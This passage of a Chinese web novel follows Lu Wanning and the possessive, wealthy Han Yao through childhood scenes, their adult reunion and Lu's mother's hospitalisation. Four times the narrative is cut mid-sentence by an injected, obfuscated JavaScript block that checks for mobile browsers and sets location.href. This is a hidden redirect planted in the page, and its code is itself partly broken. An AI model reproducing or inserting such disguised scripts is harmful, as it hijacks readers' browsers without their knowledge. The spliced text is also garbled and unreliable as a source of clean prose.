周雪儿也盯着师傅颠锅的高超操作,被迷得不行,大呼过瘾,却忽又被别的什么吸引了目光,不动声色地用胳膊怼了怼陆晚柠。 “嗯?” “对面那个女生长得好漂亮啊。” 陆晚柠兴致缺缺,“是么。” 人都有爱美之心,她却没养成这种欣赏美的习惯,哪怕遇到明星都能保持目不斜视。倒不是她不喜欢,而是……被韩窈逼的。 在韩大小姐身边,是不能多看任何人一眼的,因此直到现在也改不掉了。 周雪儿颇有种发现好东西要给所有人卖安利的兴奋,孜孜不倦地撺掇陆晚柠:“你看一眼嘛……好多人都在偷瞄她呢,是不是哪个大网红啊?” 她还把面前的盘子移走:“快看!看了才给你吃。” 两人平时一贯这样打打闹闹,陆晚柠眼疾手快地把盘子抢回来,刚想说点什么话怼周雪儿,眸光一扬,笑容却顷刻凝固在嘴角。 吧台的正对面。 即便有厨师在中间挡着,陆晚柠也能准确无误地辨别出那道身影。 哪怕是狭小的吧台椅,都能坐得笔直而挺拔。 周围的人或偷瞄或直接大胆地看那张脸,那个人却毫不在意似的,视若无睹,只手中握着瓷杯,低头喝茶。 黑色的衬衫在昏黄的灯光下泛着丝质的光,勾勒出脖颈的线条,仿若一只纤尘不染的黑天鹅。 韩窈怎么没离开? 陆晚柠呼吸再度变得急促,不由自主紧张起来。刚刚她不是答应了吗?还在这里做什么? …… 包间外,周雪儿的声音近在咫尺,陆晚柠别无他法。 面对韩窈如潮汐一般汹涌的眼波,她微微地低下了头。 这是最大程度的示弱。 “三天就三天,我答应你。”陆晚柠每一个字都是从喉咙里挤出来的,“我朋友还在等我,别把她牵扯进来好吗?” 韩窈如她一贯的性子,没说好也不说不好。 …… 现在韩窈为什么还在? 她想做什么? 陆晚柠几乎连大气都不敢出了,整个人僵在座位上。 周雪儿却没察觉到她的异样,依旧抱着欣赏美女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353395|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心思,大胆地往韩窈那个方向看,陶醉其中: “好美……小小的脸上大大的五官,怎么脸那么小、眼睛又那么大?女娲你真的把我捏得很差,我P图都不敢P成这样。” 她叨咕了半天,身边人都没点反应,立即引起了周雪儿的不满,想要戳戳陆晚柠的胳膊:“你怎么了呀,又心不在焉的。” 陆晚柠却极快地躲开了这个触碰,这个行为几乎是出于本能的。意识到这点的时候,她简直想唾弃自己。 可是当着那个人的面,她就是不敢。 因为韩窈什么都做得出来的。 她比谁都清楚。 “别看了,吃饭。”陆晚柠勉强笑道,“不是要吃回本吗?” 好在周雪儿的注意力也是一阵一阵的,被她这样一说,便又开始专心吃晚饭。 幸好,直到她们吃饱喝足离开,都没有出现预料之外的事情。 …… 正是晚间,日料店里客人最多的时候,交谈声不绝于耳,嘈嘈杂杂。 真吵啊。 韩窈盯着吧台对面的两道身影,如此作想。 比起跟她在一起,陆晚柠更愿意来这种地方吗? 店里用来摆盘装饰的花朵,此刻躺在韩窈的手心。她轻柔地握住,随后毫不留情地扯掉一片。 很多人都用数花瓣的方法来寻找答案。 一片,又一片。 只剩下最后一片的时候,韩窈却没有继续,只是垂眸敛下了在其中翻涌的海浪,随后将所有的花瓣揉成一团,在手心捏碎。 她不喜欢这个答案。 她也不喜欢现在的样子,她只能远远看着陆晚柠,就连碰她一下、咬她一口都不行。 到底为什么不可以?不是本来就属于她吗? 茶水中隐约映出她晦暗的眼神,与倒影对视时,韩窈一怔,随后又绽出温柔的笑意,仿佛什么都没有发生过那样。 别生气。 她这样告诉自己。 否则又会吓到陆晚柠的。 所以,小柠檬,在我彻底生气之前,你能不能自己套上项圈爬过来呢? 16. 蜜 *** 距离约定的日期,还剩下三天。 这个数字是一把悬在头上、无形的刀,总觉得它在头上晃来晃去,随时都会落下,可抬头一看又什么都看不见。 从某方面来说,在陆晚柠眼里,韩窈是一个很守秩序的人。她说过的话、定下的时间,都是不可更改的,不论怎样都会执行。 反过来,她也不允许别人打破秩序。 譬如两人从前约好的。 陆晚柠作为“玩具”,每天都要陪韩窈吃晚饭。 ——一开始倒是很顺利,晚餐前后正是陆佳惠忙得不可开交的时候,没空管陆晚柠究竟去哪了。 可是变数并不止她老妈,还有学校的老师。 “考这么差你好意思吗?到底有没有好好背单词?”老师恨铁不成钢地把卷子丢到陆晚柠桌上,“把卷子订正完再走,不认识的词每个抄十遍。” “拿回去给你们家长签字,我会一一检查的,别想逃掉!” 陆晚柠看着惨不忍睹的英语试卷,全是红色的叉叉,在心里烦躁地叹了口气。 怎么办呢,她好像就是没有外语天赋,一到考试时,那些单词就像小蝌蚪一样在脑子里游来游去,怎么也抓不住。 随后陆晚柠抬头看了看其他人。这次考试很难,被罚的不止她一个,发现这一点倒是让她心里当即好受了不少。 订正卷子是无所谓,只是…… 陆晚柠抬头看着墙上的时钟,心里估摸了一下时间。 韩大小姐有着非常严格的作息时间表,晚餐准时在六点半开始。以她这些错题的量,抄完生词之后再回家,恐怕会远远超过这个时间。 要不和韩窈说一声,别等自己了? 可是怎么说呢,她没有韩窈的联系方式啊。 就算有,老师就在讲台上站着呢,她哪里敢这个时候把手机拿出来触老师的霉头。考成这样,要是手机还被没收,百分之百会喜提老妈一顿毒打。 陆晚柠无计可施,只能乖乖在老师的监督下改错。 她盯着眼前的试卷,就这样看着晚霞自窗外洒满桌面,又一点点离开,直到天色彻底黑透,才疲惫地把笔放下。 随后便是坐公交回家,再一如往常从韩家的后门溜进来。陆晚柠心里有些忐忑不安,不知道自己该不该去找一趟韩窈。 她应该没在等自己吧? 这会儿老妈应该忙完了,可能在找她呢。 算了,不管了。陆晚柠犹豫了片刻,最终还是向会客厅的方向撒腿跑去。 等到她气喘吁吁推开门,看到的却依旧是熟悉的景象—— 长长的实木桌子,点缀着蕾丝花边的桌布,穿着白色裙子的韩窈,还有丰盛、早已冷掉的晚餐。 目睹这一幕的瞬间,陆晚柠心里一惊,登时被浓浓的愧疚感淹没。 “对不起。”她结结巴巴说,“我考砸被留堂了,老师不放我走,刚刚才出来……” 韩窈的表情看不出太多波澜,只是长睫翕动。 今晚吃的是西餐。 牛排早就冷掉,黑色的汁水浮起油腥,意面上的芝士碎也凝结成干巴巴的小块。 她说:“我等了你两个小时。” 看到这副模样,不用想也知道大小姐肯定是生气了。 可是陆晚柠除了一个劲儿地道歉,也不知该如何是好:“对不起,我想给你打电话说一声的,但是也不知道怎么联系你。” 她的手攥紧校服袖口:“下次我要是再临时有事,你别等我了,自己先吃吧。” “下次?” 韩窈轻声重复这两个字,露出一点疑惑不解的神色。 “为什么会有下次?” 陆晚柠一时呆住:“这……” 她不确定自己是不是说错了话,慢吞吞道:“总有特殊情况啊,比如留堂、值日什么的,我也控制不了。” 在她们说话的时候,佣人适时地上前将桌上冷掉的餐肴撤了下去,保持着绝对的沉默,几乎完全隐匿了自己的存在。没过多久,便又呈上了两份一模一样的新菜品,这次是冒着热气的。 韩窈说:“吃饭吧。” 她全程表情几乎都没有什么变化,因此陆晚柠根本看不出来她到底还在不在生气,只得先乖乖坐下吃饭。 这次的意面她很喜欢,牛肉也煎得很嫩。 陆晚柠平时完全不用刀叉吃饭,此刻使得很生疏,切牛排时刀尖时不时就碰到瓷盘,发出声声脆响。 反观韩窈那边,动作优雅且寂静无声,愈发显得她笨拙不得体。 陆晚柠嘴里塞满牛肉的时候,身旁传来一声:“今天为什么不聊天?” 抬眸,韩窈依旧平静如水地看着她,一双美目毫无波澜。 “我……”陆晚柠叹了口气,说,“我实在是心情不太好,明天再陪你聊好吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369365|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 英语考砸,被老师骂了一顿,改卷子改得手都快抽筋了。等下拿给陆佳惠签字,估计要被唠叨一整周。 今天简直没有一件好事发生。 挫败感、无力感……各种情绪交织在一起,陆晚柠觉得自己好像真的没有什么力气说话了,只想扑进被窝里歇一歇。 韩窈没说话。 良久,直至吃下最后一块牛排。 她微笑,眼睫眨动时如蝴蝶振翅:“转学吧。” 刀叉猝不及防又一次磕在盘子上。 “啊?”陆晚柠愣住,还以为自己听错了,“什么?” “转学。”韩窈说。 她的眼眸澄澈,似乎是真心实意觉得这件事可行:“转来我的学校,没有任何人能影响你的时间,你想什么时候放学都行。” 陆晚柠瞠目结舌,完全没想到她会说出这种话:“这……” “不了吧。”过了几秒,她迟疑着拒绝,“我在现在的学校待得挺好的,也有很多朋友……” 韩窈依旧维持着那个笑容,可陆晚柠却清晰地看到她眼中的温度一点点变低,直至冰点。 “那你又失约怎么办?” 她问。 不知为何,陆晚柠的心中愈发不安:“我答应过你的就会做到,可是转学真的没必要。” 那一刻,韩窈微动的眸光泄露了一点她此刻的情绪,似有受伤和委屈交缠,更多的则是茫然。 “可是,我不想有下次。” 陆晚柠想到她毕竟饿着肚子等了自己整整两个小时,心一下子软了,刚想说些什么。 可下一秒听到的话就让她的心沉入谷底。 “不转学的话,警告一下校方,让你随时回家怎么样?” 陆晚柠愣了整整半分钟,都不知道该说什么,良久,才结结巴巴,“我……你……” 她怎么能顶着那张洁白无瑕的脸,用天真无邪的眼神,讲出这种话? 韩窈似乎有些失望:“也不要吗?” 她慢慢说:“我想你守时,也想你心情好起来。” “现在看起来,不转学、不警告,就做不到这些。” 就算早就知道韩家是有钱人家,可这一刹那陆晚柠才忽地明白,原来有些在她眼里重要的事情,对韩大小姐来说不过云淡风轻一句话。 只是一句话。 而玩具,也真的只是玩具而已。 17. 蜜 那晚陆晚柠罕见地失眠了。 先是陆佳惠回来,看到她惨不忍睹的英语试卷,大发雷霆:“跑哪去了这么晚才回来,考成这样还有心思玩,不知道多学会儿习吗?!” 去陪韩窈吃晚餐了啊。 陆晚柠这样想着,但嘴上只是沉默不答,迎接老妈的训斥,任凭暴风骤雨打在自己身上。 但陆佳惠始终是刀子嘴豆腐心,看着她郁郁寡欢的面容,也不舍得讲太多重话。末了,只是叹口气:“好好学习,以后才不至于跟我一样当个干家务活的保姆。” 半晌,陆晚柠说:“保姆也没有什么不好,难道就低人一等吗。” 这句话却让陆佳惠真的生气了,抄起一旁的书本就往她身上拍:“陆晚柠!你就这点志向吗?” “不是志向。”陆晚柠灵活地躲开,还想顶嘴,“只是……” 陆佳惠把书一扔,重重砸在地板上。 她眼里似乎含了一点泪花:“我告诉你,就是低人一等,所以你给我把书读烂,以后才能去坐办公室,不用像我一样三十多岁了还在给人干体力活。” 陆晚柠望着她的脸,很轻地叫了一声:“老妈……” 她慢慢地把书捡了起来。 上床之后,陆佳惠倒是很快睡着了,徒留陆晚柠一个人睁着眼睛发呆。她不是心思很重的人,就算发生什么事,从来也不会深思,可…… 可她忽然觉得,那天为了厨房的大叔大婶去求韩窈帮忙或许是个错误的选择。 大概是因为两人同岁,她天然地没有想太多,可今天韩窈那番话才令她真正意识到—— 她们似乎生活在不同的世界。 那些发生在陆晚柠生活里,困扰她的事情,韩窈眨眨眼睛就能解决。 但是,这不好吗?陆晚柠迷茫地想。哪个学生没幻想过能够不受学校管束、自由自在地玩,她在罚抄英语试卷的时候,也盼望如果能够早点回家就好了。 可是……她有些害怕。 对韩大小姐来说,是不是什么都那么简单?她一句话就能让佣人免于被解雇的命运,决定陆晚柠几点放学,甚至让她入读靠自己根本付不起学费的私立学校。 想着想着,总算有了困意。 陆晚柠脑海里迷迷糊糊的最后一句话是,如果和韩窈走得太近,她的世界会不会失控? *** 周六的那个白天,陆佳惠坚决禁止考砸的陆晚柠出去玩,所以她只能在房间里写作业背单词。 可惜书上的那些字母依旧像蝌蚪一样游走,完全没看进去,不管她怎么集中精神,心里都只剩下一件事——她得和韩窈说清楚。 说清楚她会尽量陪韩窈吃晚饭,可人生就是有很多控制不了的意外。她不想转学,也不需要警告学校…… 脑子里在走神,笔尖抄写着英文单词,自然就不知不觉就变成了其他的字眼,陆晚柠赶紧做贼心虚地划掉,以免陆佳惠看见。 好不容易趁着陆佳惠去忙了,她赶紧搁下笔,换了身衣服就往外跑。 她没有什么能够联系韩窈的途径,只能跑过去当面和她说。白天人多眼杂,花了好一番工夫才穿过佣人房往主人家那边去,没让人发现。 陆晚柠没进过韩窈的房间,但她知道在哪——别墅的那扇窗户,上边有色彩鲜艳的彩绘,画着难以辨别究竟是什么的图案,只无端觉得线条很漂亮,经过时总会忍不住远远眺望。 除了主人家,只有经过允许的佣人才能走正门上楼,这其中并不包括陆晚柠。她知道自己只要出现在门口的一瞬间就会被赶跑。 所以她选择了爬窗户。 虽然背不下来英语单词,但好在自己身手还是挺灵活的嘛,也不算一事无成。 陆晚柠这样想着,助跑几步,攀着一楼的窗框便跃了上去。 恰逢顶上彩绘的窗户没关,她借力一骨碌就钻了进去,摔在地毯上,抬眸撞入韩窈的眼。 陆晚柠晕头转向地坐起来,看清眼前之后,却“噌”地一下红了脸。 ——韩窈的头发湿漉漉的,坐在床上没说话,只静静瞧着这个不速之客,眼眸动也不动,仿若一只精致的白瓷人偶。 有那么一瞬,陆晚柠仿佛回到了初次见面时,眼前人坐在草坪上画画。 一样,又不一样。 房间里的韩窈只穿了条吊带裙,雪白的皮肤上泛着一点淡淡的粉色,是刚洗完澡、被热汽熏出的模样。 不过也正是这一抹颜色,令人偶鲜活了起来。 陆晚柠觉得自己好像着了魔似的,明明该移开视线了,却就是紧盯不放。 手臂、锁骨、胸前,都沾上了发梢落下的水珠…… 好漂亮。 她又不是不知道同性的身体长什么样,现在究竟在看什么?! 忽地,有人叩响了门:“小姐,您洗完澡了吗?可以的话,我来给您吹头发。” 陆晚柠闻言一惊,不过还没来得及紧张,便见面前的韩窈微微张嘴:“不用了。” 声音不大,却已足够外面的人听清:“好,您有需要再传唤我。” 直到脚步踩在木地板上的声息完全消失,韩窈才转过头来,再次看向方才从窗外爬进来的人。 “陆晚柠。”她不光没生气,甚至看起来还很高兴,抿着唇,眼睛弯成小月牙,没问来做什么,也没问为什么要爬窗户,只轻轻浅浅道了句,“你来啦。” 陆晚柠强迫自己低着头,支支吾吾“嗯”了一声。 韩窈自然而然说:“你帮我吹头发好不好。” 换平时陆晚柠估计会在心里念叨,怎么吹个头发也要人代劳,是有多娇气? 可此刻她一点拒绝的想法都没有,宛如被控制般,丝毫没犹豫,又是呆呆地“嗯”了声,莫名其妙就走向浴室,拿起了吹风机。 陆晚柠站在韩窈身后,僵硬地把手伸进她头发里,一边吹一边轻轻用手拨弄。她从来没给别人干过这事儿,自己的齐肩短发根本不需要吹就能自然风干。 吹风机的温度要什么程度才合适?长头发又要吹多久才能干? 她全都不知道。 一边吹,水珠继续顺着韩窈的发梢向下流,沾湿了裙子的后背。陆晚柠手忙脚乱,想得赶紧找块毛巾擦擦才是,却不小心扯掉了韩窈的一根头发。 坐着的人轻声道:“疼。” 陆晚柠老老实实说:“对不起……”说完又想,自己上门伺候大小姐,怎么还得赔句道歉呢。 韩窈嘴上说着疼,表情却依旧很高兴,眼神里的光芒明显比方才亮了许多。 等陆晚柠把吹风机放回去,她这才说:“下次不要爬窗户了。” “啊……哦。” 韩窈道:“会摔坏的。” “二楼摔不坏。”陆晚柠下意识解释道,“比这高的墙我都翻过。” “是么。”听了她的话,韩窈起身,站在窗边往下看,似乎在认真衡量高度,“翻墙干什么?” “……溜出校买辣条。” 话题险些被岔开,可学校这个词重回嘴边,正好提醒了陆晚柠别忘记这次来的目的。 她走到韩窈身边,刚想提起,“对了,我……” “嘘。”韩窈忽轻声打断。 风微微拂起她刚被吹干的长发,不知看到了什么,眼眸里短暂出现的神采,如熄灭的灯光般黯了下去。 陆晚柠循着她目光的方向瞧去。由于房屋朝向,并不能一览无余,只能隐约瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379158|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见一辆黑色的车子驶入了别墅的停车库里。 韩窈说:“是我母亲回来了。” “噢。” 陆晚柠曾经远远地见过韩窈的母亲,是一位雍容华贵的中年妇人,家里的佣人见她都会快速低下头,恭敬地称呼一声夫人。 “你知道那辆车上还有谁吗?”韩窈顿了一下,收回空洞的眼神。 “谁?” 韩窈将身子倚在那扇彩绘玻璃上,轻描淡写道:“她的情夫。” 甚至还是笑着的。 彼时两人年纪并不大,陆晚柠愣了好几秒,也不能完全理解“情夫”的含义,只蹦出一句:“啊?” “我父亲也有情妇,还有个私生女呢。”韩窈仿佛在说一件和自己完全无关的事,“嗯,就是我同父异母的妹妹。” “以前他们还会为这些事争吵,现在倒是完全不在意了,从不过问对方在做什么。” “就算直接把情夫带回家,就算情妇直接带小孩上门来找,好像也没关系。” “是不是很有意思?” 韩窈余光瞥见什么,朝窗外扬扬下巴:“看。” 如她所说,从车库里走出来的果然是两道身影。一男一女。 陆晚柠怔怔听着她随口讲出这些话,却一个字也说不出来。明明是这样令人痛苦的事实,韩窈怎么还能保持嘴角的弧度? “你……”她听见自己说,“为什么还能笑得出来?” 韩窈很轻地“咦”了声,手指下意识抚摸自己的脸颊:“有么。” “大概习惯了。”她又弯了弯唇角,“这样不论在哪都不失礼。” 可那双眼里却空洞洞的。 地毯很暖和,韩窈慢慢、慢慢地坐了下来,“陆晚柠。”她又叫了眼前人的名字,“你有小名么。” 陆晚柠随她一起坐了下来,艳阳千里的天气,两人却贴着墙,藏在彩绘玻璃窗下那一小块阴影里,任凭阳光照窗而入,能看清的只有彼此流动的眼波。 “没有。” “你为什么叫晚柠?” 说起来,陆晚柠觉得有点丢人,听起来好没文化:“我老妈爱喝柠檬水……” 韩窈看着她,眨了下眼:“柠檬。” 她反复念了两遍,不厌其烦地咀嚼,“柠檬,柠檬。我喜欢这两个字。” “柠檬,我想你抱我一下。” 韩窈微笑着,双手抱着膝盖,把头贴在上面,片刻,陆晚柠沉默地伸手环住了她的肩膀。 黑发泛着淡淡的馨香,身体却那么冰。 良久,直至触碰的皮肤被捂暖了几分,陆晚柠听到韩窈轻声道:“他们都不陪我吃饭,只有你陪我。” 不知是否错觉,她的声音听起来很脆弱,像一折就断的蝴蝶翅膀,却又带着丝丝缕缕的蛊惑。 “转学来找我吧。” 韩窈柔声说。 陆晚柠如有千言万语堵在胸口,茫然无措。早前准备好那番关于学校的说辞,如今听着韩窈落在耳畔的话语,却不论如何也说不出口。 她不想转学。 可是她根本说不出拒绝的话。 尤其是韩窈抬起头,凑近她,“每时每刻,我好像都很孤单。” 她不知第多少次微笑:“这是我的秘密。” “答应我吧。” “后面的事,都交给我。” 不知过了多久,陆晚柠很迟缓地点了下头。 她看到韩窈的眼中又重新盈上了名为开心的情绪。 那瞬间,陆晚柠第一次切实产生了自己是玩具的感觉,那种感觉不论多久都能铭记于心,酸涩甜蜜交织,可更多的是害怕。 因为韩窈,她好像没有办法控制她自己了。 18. 柠檬 *** 三天是一段很难定义的时间,忙起来一眨眼就能过去,可闲下来后又觉得无比漫长。 部门刚拿下和复城的合作项目,款项到账,本季度的指标超额完成,压力一下子小了不少,甚至下个季度也都不必太担心了。 各人手上要做的事情也相应地少了许多,前段时间紧绷的气氛如今也一下子松弛了下来, 大家脸上的阴霾一扫而空,均都不同程度地挂上了笑容。 项目经理笑嘻嘻地端着一杯咖啡过来,跟其他人闲聊,忽道:“小陆,你是咋回事?” “嗯?” 陆晚柠把视线从正在做的PPT上抬起来。 “怎么表情这么不好。”项目经理说,“发生啥事了么?” 这么一说,其他同事也盯着她的脸打量了一下:“是哦,你脸色好苍白,是身体不舒服吗?” 陆晚柠对面就是窗户,借着清晰的玻璃倒影,她看到自己的确眼神涣散,一副状态不好的模样。 “可能吃坏肚子了。”她勉强笑了下。 同事也没起疑,只道:“要不请个假休息吧,反正最近事儿也少。” “是啊,最近老大批假挺爽快的。” 陆晚柠随口应付了几句,推说自己PPT还没做完,就先回头接着工作了。心里想着要专心,下一刻敲击键盘,指尖便莫名其妙,不由自主流淌出几个字。 ——三天。 突兀地躺在数据表下面。 陆晚柠瞳孔一缩,赶忙把这两个字删去。 她退格键按得极重,把旁边工位的同事都吓了一跳,只以为她是不舒服,便劝道:“太累了就休息下吧,好不容易闲几天,不然过段时间忙起来想歇都歇不了了。” “嗯……”陆晚柠沉默半晌,只含糊地应付了几个字。 她的确没有待在办公室的心情,不过还是没请假,因为要扣工资,她舍不得这点钱。但也没继续做PPT,因为知道自己心里乱到根本集中不了注意力。 只剩下三天,她就要给韩窈答复了。 在分开的这五年间,陆晚柠并不是没想过会再和韩窈重逢。毕竟以她对韩大小姐的了解,那位并不是善罢甘休的性格。 而陆晚柠当年做的事,无异于狠狠地捅了韩窈一刀。 她甚至已经做好了被狠狠报复的准备。 可这五年间,韩窈就像是人间蒸发一般,彻底消失在了陆晚柠的生活中,仅能从其他人的嘴里听到关于她的只言片语。 上一回她偶然见到两个高中同学,对方还问起:“韩窈没和你一起?” 陆晚柠还没想好怎么说,另一人便回答了这个问题: “你傻啊,韩窈不是在国外呢么,读的什么学校来着……忘了,反正应该快毕业了。” 那个时候,陆晚柠心里还存着一点不切实际的妄想,那就是韩窈她或许已经忘掉自己了吧?念书,毕业,随后留在国外也好、回国也好,韩大小姐的人生不论怎样都会很顺遂,不需要她的出现。 可是再见到韩窈的第一眼,她就知道自己错得离谱。 就算过去五年,韩大小姐也没打算放手。 她该怎么办? 思绪正乱着,手机忽然响了,是个陌生的号码。 陆晚柠去走廊里接起来:“喂?” “喂,是晚柠吗?” “您是?” “我是你妈妈的邻居。” 陆晚柠听了几句,辨认出来了:“王叔叔?有什么事吗?” “你妈妈最近身体不太好,今天早上腰痛得动不了,我媳妇陪她去医院看了,医生说是腰椎间盘突出和什么……神经根水肿,要住院治疗呢。” 陆晚柠心中一惊:“什么?!” “现在我媳妇在陪着她,但是我们也忙,没办法一直照顾她。”对方委婉地说,“你看你什么时候回来一趟看看你妈,她这情况得请个护工。” “好,我知道了。”她心乱如麻,“医药费是您给垫付的吗?我转给您,多少钱。” 对方说了一个数字。 幸好她能付得起,因为陆晚柠一直在攒钱。 只是那笔钱是为了陆佳惠想要的那件大衣准备的,付完医药费,基本也就不剩下什么了。 陆晚柠看着王叔叔发来的医疗单据,垂眸把钱转了过去,然后去找徐珍请了假。幸好这几天事情的确不多,对方痛快地答应了。 没过几个小时,她就收到了陆佳惠的消息,是一条长达60秒的语音: “你不要听老王他们乱讲,我没事,腰痛老毛病了,你好好上班听到没有?你现在不是小孩子了,刚工作要给领导留个好印象,别随随便便请假,不准回来啊我告诉你……” 陆晚柠坐在高铁上,看着窗外的风景,没回复她,继续查神经根水肿要怎么治疗。 随后她从包里拿出平常不怎么用的口红,补了一下唇色,顺便在脸颊上胡乱拍了两下,一下子红润了不少。 否则脸色太差,老妈看到又要担心了。 *** 帝都到石门的高铁速度很快,陆晚柠三点从公司出来,四点半就到了石门,五点钟抵达病房。 陆佳惠是个中气十足的女人,隔二里地都能听到她极具穿透性的嗓音。 即便现在有气无力地躺在病床上,看到门口那道熟悉的身影,她的声音也依旧嘹亮: “陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385362|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚柠!不是说了让你不要回来!” “都生病了,就省省力气吧。”陆晚柠放下背包,“想吃什么?” 石门是陆佳惠的老家,距离帝都很近,也是陆晚柠出生的地方。小时候她们住在一条小巷子里,后来陆佳惠带着陆晚柠去了帝都打工,几乎不怎么回来。 这两年陆佳惠年纪大了,她一直当保姆做体力活,以至于身体也不好,陆晚柠劝她别再干了。 随后陆佳惠便回了石门。 “帝都物价那么贵,你刚工作,工资哪养得起我们俩。”她说,“你老妈也是有存款的,回老家消费低,够用了,不用你管。” 可是怎么可能不管呢。 病床上,陆佳惠摆了摆手:“不吃,家里还有剩菜。” “你住院就别管家里的菜了。” “我才不住院。”陆佳惠愁眉紧锁,“这都老毛病了。”说着她就想坐起来。 陆晚柠手疾眼快地按住她:“别动了,听医生的,医生说住院就住院。” 陆佳惠的腰也着实痛,她根本就坐不起来,甚至翻身都很难。片刻,她叹了口气:“住院贵咯。” “贵也住。”陆晚柠说。 陆佳惠忽然问:“早上医药费多少钱啊?” “你不用管。” 陆佳惠生起气来:“你还指挥起你老妈来了?你那点工资自己都不够花。” 陆晚柠遗传了她的倔脾气,吵架的时候甚至能够比她更大声:“够花,我刚拿了奖金。” 其实奖金要年底才发。 说了这一会儿话,陆佳惠毕竟身体不适,很快就有些累了,语调也渐渐低了下来。 “那你要好好存着啊,不然急用钱的时候怎么办。” “多少钱,老妈给你。” “你最近工作还顺利吗?” 陆晚柠坐在病床边,背对着陆佳惠,没让老妈看到自己眼中积攒的泪水。有那么一瞬间,她很想说发生了好多事。 想说她被上司骚扰了,就算用电脑打破了他的头,可那一瞬间还是很害怕。害怕丢工作,更害怕被伤害。 想说韩窈回来找她了,她不知道该怎么办,身边没有任何可以求助的人。 但最终陆晚柠还是抿着唇,把眼里所有的湿润都憋了回去,口吻随意地说: “特别顺利,我被调到了业绩最好的部门,现在的领导很喜欢我。” “我们刚做成了大项目,每个人都有好多奖金。” “所以钱的事你不用操心,要请护工也请得起。” 好半天陆佳惠都没说话,半晌,才嘟嘟囔囔,挤出三个字:“那好嘛。” 陆晚柠听得出来她其实很高兴。 19. 柠檬 陆佳惠睡着之后,陆晚柠去和医生聊了一下,看看她的病情到底怎么样。 医生讲得也很坦诚:“目前没什么大问题,正常住院治疗就好。但是我们这里水平也就那样,一般我们都推荐去帝都的医院复查一下。你要是在那边工作就更方便咯,直接带她去一趟。” “治疗的费用大概是多少?” 医生说了一个数字。 “但如果后续还查出别的问题就不好说了。” 说着,医生顿了下:“这东西都是越拖越严重的,建议尽早去看。” “嗯,谢谢。” 陆晚柠把这些内容一一记下。 医药费就已经很昂贵了,实际的费用并不止于此。陆佳惠需要人贴身照顾,可是这年头,请好一点的护工一天至少得好几百。 她在心里飞快地算了一下请护工VS请假扣的工资哪个划算,又衡量了一下自己的存款—— 得出的答案是肯定不够。 陆晚柠是从来不管别人借钱的人,可她们家里也没有其他亲戚可以帮衬,现在好像也没什么太好的办法了。 她给周雪儿打了个电话,对方很快接起:“喂,晚柠,刚想问你怎么没回来呢。” “我妈病了,临时回老家了。” “阿姨没事吧?!” “正想和你说这件事。” 陆晚柠只觉很是难以启齿,可是在老妈的事情上面,什么面子都是虚的。 她顿了顿,“我过几天带她来帝都复查,可能会,需要一些钱。” 闻言,周雪儿倒是很爽快:“我可以借你。只是我的收入你也知道,我顶多也就能拿出个几千块,实在没多的了。” 杯水车薪,但总比没有强。 陆晚柠握紧手机:“谢谢你雪儿,等我发工资第一时间还你。” “没事,不急着还。”周雪儿想起之前看到的那份“合同”,再次叮嘱她,“对了,你可千万别想不开去弄什么贷款,实在不行我帮你一起想办法,总能解决的。” “好。” “有什么事随时给我打电话啊。” “嗯,谢谢你。” 陆晚柠又开始看联系人列表里有没有其他人可以求助。 她有几个关系要好的大学同学,毕业之后便天各一方了,听说她遇到困难也纷纷表示愿意帮忙凑一凑,只是大家都是年轻人,根本拿不出什么钱。 还是不够。 陆晚柠坐在病房外的走廊里,咬咬牙,拨通了徐珍的电话。 两人虽然相处还算融洽,但算不上熟稔,只是再普通不过的上下级关系,她自己也知道这个请求很是冒昧。 “徐珍总,我家里遇到一些事情。”她低声将事情的原委说了,“我有没有可能,申请提前预支一些工资?” “哦?你需要多少?” 陆晚柠便将她目前计算的医药费及大致的护工费用告诉了对方。 片刻,话筒里传来徐珍略带疑惑的声音:“晚柠,你不是在和我开玩笑吧?” 玩笑? 陆晚柠不知她为什么这样讲,眉头一皱,严肃道:“没有,我绝不会拿我妈的事情说笑。” 